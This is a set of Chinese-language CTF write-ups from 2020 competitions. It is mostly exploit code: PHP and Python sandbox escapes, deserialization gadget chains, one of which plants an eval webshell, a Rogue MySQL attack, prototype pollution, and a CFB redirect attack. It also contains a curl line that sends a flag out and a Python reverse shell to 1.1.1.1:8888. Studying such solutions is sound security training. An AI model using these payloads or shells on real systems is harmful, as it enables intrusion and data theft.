2020WriteUp 汇总 VOL 2

  21 mins to read  

List [CTL]

    RCTF2020

    mysql_interface

    需要一个SQL语句,在tidb的sql parser看来有语法错误,但能成功在MySQL执行

    const forbidden = "\x00\t\n\v\f\r`~!@#$%^&*()_=[]{}\\|:;'\"/?<>,\xa0"
    

    很容易想到注释符--[char],ascii < 127的不可见字符基本都可以用,FUZZ一下

    var isForbidden = [256]bool{}
    
    const forbidden = "\x00\t\n\v\f\r`~!@#$%^&*()_=[]{}\\|:;'\"/?<>,\xa0"
    
    func init() {
        for i := 0; i < len(forbidden); i++ {
            isForbidden[forbidden[i]] = true
        }
    }
    
    func allow(payload string) bool {
        if len(payload) < 3 || len(payload) > 128 {
            return false
        }
        for i := 0; i < len(payload); i++ {
            if isForbidden[payload[i]] {
                return false
            }
        }
        var err error
        if _, _, err = parser.New().Parse(payload, "", ""); err != nil {
            return true
        }
        return false
    }
    
    var db, _ = sql.Open("mysql", "root:root@tcp(127.0.0.1)/security")
    
    func query(s string, c byte) {
        _, err := db.Exec(fmt.Sprintf(s, c))
        if err == nil {
            fmt.Printf("%d ", c)
        }
    }
    
    func main() {
        s := "SELECT flag from flag --%c1+1"
        for c := 1; c < 256; c++ {
            if allow(fmt.Sprintf(s, byte(c))) {
                query(s, byte(c))
            }
        }
    }
    

    以下都可

    1 2 3 4 5 6 7 8 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 127
    

    calc

    PHP7.4环境,ban掉的字符

    $blacklist = ['[a-z]', '[\x7f-\xff]', '\s',"'", '"', '`', '\[', '\]','\$', '_', '\\\\','\^', ',']; 
    

    还剩下

    ! # % & ( ) * + - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ { | } ~
    

    想办法构造出字母即可利用PHP动态调用执行函数

    php > var_dump((99**99).NULL);
    string(20) "3.6972963764973E+197"
    php > var_dump((99**99).(1){0});
    PHP Notice:  Trying to access array offset on value of type int in php shell code on line 1
    string(20) "3.6972963764973E+197"
    php > var_dump((99**99).(1));
    string(21) "3.6972963764973E+1971"
    php > var_dump((999**999).(1){0});
    PHP Notice:  Trying to access array offset on value of type int in php shell code on line 1
    string(3) "INF"
    

    可以构造出E I N F 0-9 - + .等符号,通过位运算扩展出所有字母。然后通过system(end(getallheaders()))即可RCE

    import string
    
    origin = ['E', 'N', '+', '-', 'I', 'N', 'F', '.'] + list('0123456789')
    
    c = {
            'E': '(((99**99).(1){0}){15})',
            '.': '(((99**99).(1){0}){1})',
            '+': '(((99**99).(1){0}){16})',
            '-': '(((~1).(1){0}){0})',
            'I': '(((999**999).(1){0}){0})',
            'N': '(((999**999).(1){0}){1})',
            'F': '(((999**999).(1){0}){2})',
            '0': '((0).(1){0})',
            '1': '((1).(1){0})',
            '2': '((2).(1){0})',
            '3': '((3).(1){0})',
            '4': '((4).(1){0})',
            '5': '((5).(1){0})',
            '6': '((6).(1){0})',
            '7': '((7).(1){0})',
            '8': '((8).(1){0})',
            '9': '((9).(1){0})',
    }
    
    loop = 100
    while loop > 0:
        for i in origin:
            for j in origin:
                t = chr(ord(i) & ord(j))
                if t not in origin:
                    origin.append(t)
                    c[t] = '('+ c[i] + '&' + c[j]+')'
    
                t = chr(ord(i) | ord(j))
                if t not in origin:
                    origin.append(t)
                    c[t] = '(' + c[i] + '|' + c[j]+')'
    
        loop -= 1
    
    cc = {}
    for i in c:
        cc[i.upper()] = c[i]
    
    def cons(s):
        output = ['(']
        for i in s:
            output.append(cc[i])
            output.append('.')
        return ''.join(output)[:-1] + ')'
    
    gah = cons('GETALLHEADERS')
    pos = cons('END')
    s = cons('SYSTEM')
    
    print(f'{s}({pos}({gah}()))')
    

    RCE后是readflag验证码,服务器不能出网,用了原来的一个PHP脚本

    import requests
    
    url = 'http://124.156.140.90:8081/calc.php'
    
    # ! # % & ( ) * + - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ { | } ~
    n = '((((1).(1){0})|((((999**999).(1){0}){2})&((((99**99).(1){0}){16})|(((999**999).(1){0}){0})))).((((999**999).(1){0}){0})|((0).(1){0})).(((1).(1){0})|((((999**999).(1){0}){2})&((((99**99).(1){0}){16})|(((999**999).(1){0}){0})))).(((0).(1){0})|((((99**99).(1){0}){15})&(((999**999).(1){0}){1}))).(((((99**99).(1){0}){15})&(((999**999).(1){0}){1}))|((((99**99).(1){0}){16})&((1).(1){0}))).((((99**99).(1){0}){15})|(((999**999).(1){0}){0})))(((((((99**99).(1){0}){15})&(((999**999).(1){0}){1}))|((((99**99).(1){0}){16})&((1).(1){0}))).((((999**999).(1){0}){1})|(((99**99).(1){0}){1})).(((((99**99).(1){0}){15})&(((999**999).(1){0}){1}))|((((99**99).(1){0}){16})&((0).(1){0}))))((((((999**999).(1){0}){2})|((((99**99).(1){0}){16})&((1).(1){0}))).(((((99**99).(1){0}){15})&(((999**999).(1){0}){1}))|((((99**99).(1){0}){16})&((1).(1){0}))).(((0).(1){0})|((((99**99).(1){0}){15})&(((999**999).(1){0}){1}))).(((((99**99).(1){0}){15})|(((99**99).(1){0}){16}))&(((0).(1){0})|((((99**99).(1){0}){15})&(((999**999).(1){0}){0})))).(((((99**99).(1){0}){15})&(((999**999).(1){0}){1}))|((((99**99).(1){0}){16})&((8).(1){0}))).(((((99**99).(1){0}){15})&(((999**999).(1){0}){1}))|((((99**99).(1){0}){16})&((8).(1){0}))).(((((99**99).(1){0}){15})|(((99**99).(1){0}){16}))&(((0).(1){0})|((((999**999).(1){0}){1})&(((999**999).(1){0}){0})))).(((((99**99).(1){0}){15})&(((999**999).(1){0}){1}))|((((99**99).(1){0}){16})&((1).(1){0}))).(((((99**99).(1){0}){15})|(((99**99).(1){0}){16}))&(((0).(1){0})|((((99**99).(1){0}){15})&(((999**999).(1){0}){0})))).(((((99**99).(1){0}){15})&(((999**999).(1){0}){1}))|((((99**99).(1){0}){16})&((0).(1){0}))).(((((99**99).(1){0}){15})&(((999**999).(1){0}){1}))|((((99**99).(1){0}){16})&((1).(1){0}))).(((0).(1){0})|((((999**999).(1){0}){2})&((((99**99).(1){0}){16})|(((999**999).(1){0}){0})))).(((1).(1){0})|((((999**999).(1){0}){2})&((((99**99).(1){0}){16})|(((999**999).(1){0}){0})))))()))'
    
    import base64
    
    a = b"""<?php
    $d=array(
        0=>array("pipe","r"),
        1=>array("pipe","w"),
        2=>array("pipe","w")
    );
    $p=proc_open("/readflag",$d,$pipes);
    $data=fread($pipes[1],65535);
    $data=fread($pipes[1],65535);
    $calc=$data;
    echo "return ".$calc.";";
    $res=eval("return ".$calc.";");
    
    $data=fread($pipes[1],65535);
    fwrite($pipes[0],$res);
    fclose($pipes[0]);
    var_dump(stream_get_contents($pipes[1]));
    fclose($pipes[1]);
    proc_close($p);"""
    a = base64.b64encode(a).decode()
    
    r = requests.get(url, params={'num': n}, headers={'X': 'echo '+a+'|base64 -d|php'})
    print(r.text)
    

    swoole

    赛时Rogue MySQL的payload基本构造完了,除了没找到调用ConnectionPool -> get的入口(读了两遍源码还是没有头绪,因为就只知道通过字符串动态调用,在无法传递参数的情况下,只能是在destruct方法中,找了一圈没有可利用的,又猜测是swoole的hook会隐式调用某些C函数)

    $a = unserialize($code);
    $a();
    

    赛后看WP才明白,完全就是因为不知道可以通过invoke数组来调用类方法

    PHP7的动态函数(?还有更奇葩的语法吗):

    class A {
        function foo() {
            echo "foo\n";
        }
    }
    
    $f = "A::foo";
    $f();
    
    $f = ['A', 'foo'];
    $f();
    
    $f = [new A, 'foo'];
    $f();
    

    copy所有类,修改成员为public

    Nu1l的非预期

    利用CurlHandler中的readFunction callback来执行

    if ($client->body and $this->readFunction) {
        $cb = $this->readFunction;
        $cb($this, $this->outputStream, strlen($client->body));
    }
    

    如果题目没有SWOOLE_HOOK_ALL的话,其实这样就行了

    $o = new Handler('https://swoole.rctf2020.rois.io');
    $o -> setOpt(CURLOPT_READFUNCTION,"array_walk");
    $o -> setOpt(CURLOPT_FILE, "exec");
    $o -> foo = 'whoami';
    
    /*
    array_walk(['foo' => 'whoami'], 'exec', 9);
    exec('whoami', 0, 9);
    */
    

    但exec被swoole_exec替换,当执行失败会直接抛fatal error

    再套一层

    $o = new Handler('https://swoole.rctf2020.rois.io');
    $o -> setOpt(CURLOPT_READFUNCTION,"array_walk");
    $o -> setOpt(CURLOPT_FILE, "array_walk");
    $o -> exec = array('curl 1.1.1.1:8888/`cat /flag`');
    
    echo urlencode(serialize([$o, 'exec']));
    
    /*
    array_walk(
        ['exec' => [0 => 'whoami']],
        'array_walk', 9,
    )
    array_walk([0 => 'whoami'], 'exec', 9);
    */
    

    预期解

    通过MySQL local infile

    namespace Swoole;
    $o = new ConnectionPool;
    $o -> pool = new \SplQueue;
    $o -> num = 0;
    $o -> size = 20;
    
    $o -> proxy = '\Swoole\Database\PDOPool';
    $o -> proxy -> host = '1.1.1.1';
    $o -> proxy -> options = [
        \PDO::MYSQL_ATTR_LOCAL_INFILE => 1,
        \PDO::MYSQL_ATTR_INIT_COMMAND => 'select 1'
    ];
    $o -> constructor = new \Swoole\Database\PDOConfig;
    
    $p = new \Swoole\Database\PDOProxy;
    $p -> constructor = [$o, 'get'];
    
    
    $c = new \Swoole\Curl\Handler('https://swoole.rctf2020.rois.io/');
    $c -> postData = '123';
    $c -> headerFunction = [$p, 'reconnect'];
    $c -> readFunction = [$p, 'get'];
    
    echo urlencode(serialize([$c, 'exec']));
    

    第五空间智能安全大赛

    hate-php

    异或构造,动态调用

    http://121.36.74.163/?code=((%b4%b4%b4%b4%b4%b4)^(%c7%cd%c7%c0%d1%d9))((%80%80%80%80%80%80%80%80%80%80%94%a3)^(%e3%e1%f4%a0%e6%ec%e1%e7%ae%f0%fc%d3))
    

    zzm’s blog

    Java mysql-connector反序列化,有CC3.2

    利用jackson2.9.8漏洞触发

    import requests
    
    r = requests.get('http://121.36.46.83/', params={'query': """{"id":0,"Title":["com.mysql.cj.jdbc.admin.MiniAdmin", "jdbc:mysql://IP:3306/db?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=evil"]}"""})
    

    服务端使用https://github.com/fnmsd/MySQL_Fake_Server监听

    rosb

    共模攻击

    from libnum import n2s,s2n
    from gmpy2 import invert
    
    def egcd(a, b):
        if a == 0:
            return (b, 0, 1)
        else:
            g, y, x = egcd(b % a, a)
            return (g, x - (b // a) * y, y)
    
    def main():
        n = 0xa1d4d377001f1b8d5b2740514ce699b49dc8a02f12df9a960e80e2a6ee13b7a97d9f508721e3dd7a6842c24ab25ab87d1132358de7c6c4cee3fb3ec9b7fd873626bd0251d16912de1f0f1a2bba52b082339113ad1a262121db31db9ee1bf9f26023182acce8f84612bfeb075803cf610f27b7b16147f7d29cc3fd463df7ea31ca860d59aae5506479c76206603de54044e7b778e21082c4c4da795d39dc2b9c0589e577a773133c89fa8e3a4bd047b8e7d6da0d9a0d8a3c1a3607ce983deb350e1c649725cccb0e9d756fc3107dd4352aa18c45a65bab7772a4c5aef7020a1e67e6085cc125d9fc042d96489a08d885f448ece8f7f254067dfff0c4e72a63557
        c1 = 0x2f6546062ff19fe6a3155d76ef90410a3cbc07fef5dff8d3d5964174dfcaf9daa003967a29c516657044e87c1cbbf2dba2e158452ca8b7adba5e635915d2925ac4f76312feb3b0c85c3b8722c0e4aedeaec2f2037cc5f676f99b7260c3f83ffbaba86cda0f6a9cd4c70b37296e8f36c3ceaae15b5bf0b290119592ff03427b80055f08c394e5aa6c45bd634c80c59a9f70a92dc70eebec15d4a5e256bf78775e0d3d14f3a0103d9ad8ea6257a0384091f14da59e52581ba2e8ad3adb9747435e9283e8064de21ac41ab2c7b161a3c072b7841d4a594a8b348a923d4cc39f02e05ce95a69c7500c29f6bb415c11e4e0cdb410d0ec2644d6243db38e893c8a3707
        c2 = 0xd32dfad68d790022758d155f2d8bf46bb762ae5cc17281f2f3a8794575ec684819690b22106c1cdaea06abaf7d0dbf841ebd152be51528338d1da8a78f666e0da85367ee8c1e6addbf590fc15f1b2182972dcbe4bbe8ad359b7d15febd5597f5a87fa4c6c51ac4021af60aeb726a3dc7689daed70144db57d1913a4dc29a2b2ec34c99c507d0856d6bf5d5d01ee514d47c7477a7fb8a6747337e7caf2d6537183c20e14c7b79380d9f7bcd7cda9e3bfb00c2b57822663c9a5a24927bceec316c8ffc59ab3bfc19f364033da038a4fb3ecef3b4cb299f4b600f76b8a518b25b576f745412fe53d229e77e68380397eee6ffbc36f6cc734815cd4065dc73dcbcb
        e1 = 0xf4c1158f
        e2 = 0xf493f7d1
        s = egcd(e1, e2)
        s1 = s[1]
        s2 = s[2]
        if s1<0:
            s1 = - s1
            c1 = invert(c1, n)
        elif s2<0:
            s2 = - s2
            c2 = invert(c2, n)
    
        m = pow(c1,s1,n)*pow(c2,s2,n) % n
        print(n2s(m))
    
    if __name__ == '__main__':
      main()
    

    tinysocks

    SS重定向攻击,只写了sslocal到ssserver的部分,所以看起来是个四不像

    建议出题人认真补补密码学和Socket编程,写的什么东西

    题目是CFB-mode,提示了fake HTTPS,所以响应前7-byte是HTTP/1.。运行exp.go,服务端监听即可解密除第一个分组外的所有密文

    package main
    
    import (
    	"crypto/aes"
    	"crypto/cipher"
    	"crypto/sha256"
    	"encoding/hex"
    	"net"
    	"os"
    )
    
    func calcIV(bs []byte) []byte {
    	x := []byte("HTTP/1.")
    	iv := []byte{}
    	for i := 0; i < 7; i++ {
    		iv = append(iv, x[i]^bs[i])
    	}
    
    	return iv
    }
    
    func cc() cipher.Stream {
    	sha := sha256.New()
    	sha.Write([]byte(os.Getenv("passwd")))
    	key := sha.Sum(nil)[:aes.BlockSize]
    	iv := [aes.BlockSize]byte{}
    
    	block, _ := aes.NewCipher(key)
    	stream := cipher.NewCFBDecrypter(block, iv[:])
    	return stream
    }
    
    func str2bs(s string) []byte {
    	bs, _ := hex.DecodeString(s)
    	return bs
    }
    
    func exp(bs []byte) {
    	// buf := []byte{1, 127, 0, 0, 1, 0, 77}
    
    	stream := cc()
    	stream.XORKeyStream(buf, buf)
    
    	t := "121.36.47.205:1080"
    	// t = "127.0.0.1:9999"
    
        buf := []byte{1, 127, 0, 0, 1, 0, 80}
    	tmp := calcIV(bs[:7])
    	for i := 0; i < 7; i++ {
    		buf[i] = buf[i] ^ tmp[i]
    	}
    
    	conn, _ := net.Dial("tcp", t)
    	conn.Write(append(buf, bs[7:]...))
    }
    
    const (
    	b1 = "f2dec146b57a4684ce5772f4925f52c2742e0e4ca332f2fd1d5432c6907d92d73dad3c8bb091d806d7ece12ef85499c522a13c0e439469248b5beae50d642d438109c4dde4a8b35294961b4e0367be8e1d40b87f7fd9af4a5691e8df638c57e4b65a65b3b84e24597c798f6a1afd93a771b0ae6768b349701f477a2aa7d88d28d5b53134e428a4d873e4b4808e3ef235a261cebfbbac003d4385f52aadc5eebfab051ef65613432bc15667edb54ded61e8e2935b9b46b24a0c5655db6780a9e2bacda2299a938a05d29eee3a6c198163c280aa20af321a0ef9693f9939f45953294396793c0bbe310c5b551b5515911745312eb7bd67e0638bea3a66079c4d2c3aa9dbd9eba7f3c7a5caf6af2886cd64670387914a36a3be1d0c33b92b001801a133cba5ce838e555bd17038ba83633c"
    )
    
    func main() {
    	exp(str2bs(b1))
    }
    

    SCTF2020

    koa-body

    const fs = require('fs');
    const path = require('path');
    const crypto = require('crypto');
    const Koa = require('koa');
    const Router = require('koa-router');
    const koaBody = require('koa-body');
    const send = require('koa-send');
    
    const app = new Koa();
    const router = new Router();
    const SECRET = "?"
    
    
    app.use(koaBody({
      multipart: true,
      formidable: {
        maxFileSize: 2000 * 1024 * 1024
      }
    }));
    
    
    router.post('/uploadfile', async (ctx, next) => {
      console.log(ctx.request.files);
      const file = ctx.request.body.files.file;
      const reader = fs.createReadStream(file.path);
      let fileId = crypto.createHash('md5').update(file.name + Date.now() + SECRET).digest("hex");
      let filePath = path.join(__dirname, 'upload/') + fileId
      const upStream = fs.createWriteStream(filePath);
      reader.pipe(upStream)
      return ctx.body = "Upload success ~, your fileId is here:" + fileId;
    });
    
    
    router.get('/downloadfile/:fileId', async (ctx, next) => {
      let fileId = ctx.params.fileId;
      ctx.attachment(fileId);
      try {
        await send(ctx, fileId, { root: __dirname + '/upload' });
      } catch (e) {
        console.log(e)
        return ctx.body = "SCTF{no_such_file_~}"
      }
    });
    
    
    router.get('/', async (ctx, next) => {
      ctx.response.type = 'html';
      ctx.response.body = fs.createReadStream('index.html');
    
    });
    
    app.use(router.routes());
    app.listen(3333, () => {
      console.log('This server is running at port: 3333')
    })
    
    

    看一遍代码是找不到漏洞点的

    本地启动报错,没有ctx.request.body.files属性,搜素koa-body的issue:https://github.com/dlau/koa-body/issues/75

    curl "http://120.79.1.217:7777/uploadfile" -X POST -H "Content-Type: application/json" -d "{\"files\":{\"file\":{\"name\":\"lol\",\"path\":\"flag\"}}}"
    
    
    curl http://120.79.1.217:7777/downloadfile/d6efd331bdba815061af398380e35d22
    

    pysandbox 1&2

    两道Python沙盒逃逸

    @app.route('/', methods=["POST"])
    def security():
        print(request.__dict__)
        secret = request.form["cmd"]
        for i in secret:
            if not 42 <= ord(i) <= 122: return "error!"
    
        exec(secret)
        return "xXXxXXx"
    

    可用字符:

    * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ \ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y
    

    没有括号意味着无法直接调用函数

    第一关通过修改app._static_folder/

    def chal1():
        poc1 = 'app._static_folder=app.root_path[0]'
        r=  requests.post(url, data={'cmd': poc1})
        print(r.text)
    
        r=  requests.get(url + '/static/etc/passwd')
        print(r.text)
    

    第二关通过Flask自带的回调来替我们执行函数

    Flask.make_config

    def make_config(self, instance_relative=False):
        """Used to create the config attribute by the Flask constructor.
        The `instance_relative` parameter is passed in from the constructor
        of Flask (there named `instance_relative_config`) and indicates if
        the config should be relative to the instance path or the root path
        of the application.
    
        .. versionadded:: 0.8
        """
        root_path = self.root_path
        if instance_relative:
            root_path = self.instance_path
        defaults = dict(self.default_config)
        defaults['ENV'] = get_env()
        defaults['DEBUG'] = get_debug_flag()
        return self.config_class(root_path, defaults)
    

    注册flask hook函数before_request,被ban的字符通过request.url传递,header会被存在request.environ

    def chal2():
        poc2 = 'app.root_path=request.environ[request.url[-6:]];app.config_class=exec;app.before_request_funcs[None]=[app.make_config]'
        r = requests.post(url + '/?HTTP_X', data={'cmd': poc2}, headers={'X': "import socket,os,subprocess;host='1.1.1.1';port=8888;s=socket.socket();s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.dup2(s.fileno(),3);shell=subprocess.call(['/bin/bash','-i']);"})
        print(r.text)
    

    CISCN2020初赛

    easyphp

    ?a=call_user_func&b=pcntl_waitpid
    

    babyunserialize

    <?php
        
    namespace DB;
    
    //! In-memory/flat-file DB wrapper
    class Jig {
    
        //@{ Storage formats
        const
            FORMAT_JSON=0,
            FORMAT_Serialized=1;
        //@}
    
        protected
            //! UUID
            $uuid,
            //! Storage location
            $dir,
            //! Current storage format
            $format,
            //! Jig log
            $log,
            //! Memory-held data
            $data,
            //! lazy load/save files
           	$lazy;
        
        function __construct() {
            $this->lazy = 1;
    	    $this->data= ["tt.php" => ['<?php eval($_REQUEST[\'sss\']) ?>']];
            $this->format = 0;
    	    $this->dir = './';
        }
    }
    
    $o = new Jig();
    echo urlencode(serialize($o));
    

    后续PHP7-JSON exp绕disable_functions

    littlegame

    set-value@3.0.0原型链污染

    import requests
    
    s = requests.Session()
    
    url = 'http://eci-2ze4mvter6u3quxbrze6.cloudeci1.ichunqiu.com:8888'
    p = {'http': 'http://web-proxy.oa.com:8080'}
    
    t = s.get(url + '/SpawnPoint', proxies=p).text
    print(t)
    
    t = s.post(url + '/Privilege', proxies=p, data={'NewAttributeKey': '__proto__.password', 'NewAttributeValue': 'aaa'}).text
    print(t)
    
    t = s.post(url + '/DeveloperControlPanel', proxies=p, data={'key': 'password', 'password': 'aaa'}).text
    print(t)
    

    rceme

    seacms RCE + PHP7

    ?a={if:('sys'.'tem')('cat /flag')}x{end if}
    

    easy_trick

    fuzz了一遍有__toString的内置类没找到,忘了INF和NAN

    the_best_ctf_game

    import string
    print(''.join([i for i in open('flag', 'rb').read().decode(errors='ignore') if i in string.digits + string.ascii_lowercase + '-{}']))